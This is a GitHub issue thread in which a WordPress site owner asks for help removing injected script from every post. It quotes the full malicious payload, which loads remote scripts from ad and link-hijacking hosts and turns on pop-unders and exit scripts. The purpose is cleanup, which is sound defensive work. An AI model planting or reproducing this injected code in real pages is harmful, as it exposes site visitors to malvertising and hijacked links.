interconnectit/Search-Replace-DB

Stripping cutwin infected Wordpress posts

chrisdadd opened this issue · 2 comments

Hi there
I'm trying to strip an SQLI infection from a Wordpress site. It's appended to every post. I've tried pasting the script into the search string but the dry run says it doesn't match. I must be doing something wrong. I want to strip
<script type="text/javascript"> var adlinkfly_url = 'https://cutwin.com/'; var adlinkfly_api_token = 'f6624368d190e8c1819f49dc4d5fcb633a4d9641'; var adlinkfly_advert = 2; var adlinkfly_exclude_domains = ['example.com', 'yoursite.com']; </script> <script src='//cutwin.com/js/full-page-script.js'></script> <script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=683723"></script><script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=683724&interactive=1&pushup=1"></script><script type="text/javascript">//<![CDATA[ (function() { var configuration = { "token": "11f0dc1ed8453e409e04d86bea962f34" "exitScript": { "enabled": true }, "popUnder": { "enabled": true } }; var script = document.createElement('script'); script.async = true; script.src = '//cdn.shorte.st/link-converter.min.js'; script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != 'complete' && rs != 'loaded') return; shortestMonetization(configuration);}; var entry = document.getElementsByTagName('script')[0] entry.parentNode.insertBefore(script, entry); })(); //]]></script><script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script>

Any help appreciated.
Chris

Have you been able to find this @chrisdadd ?

closing for inactivity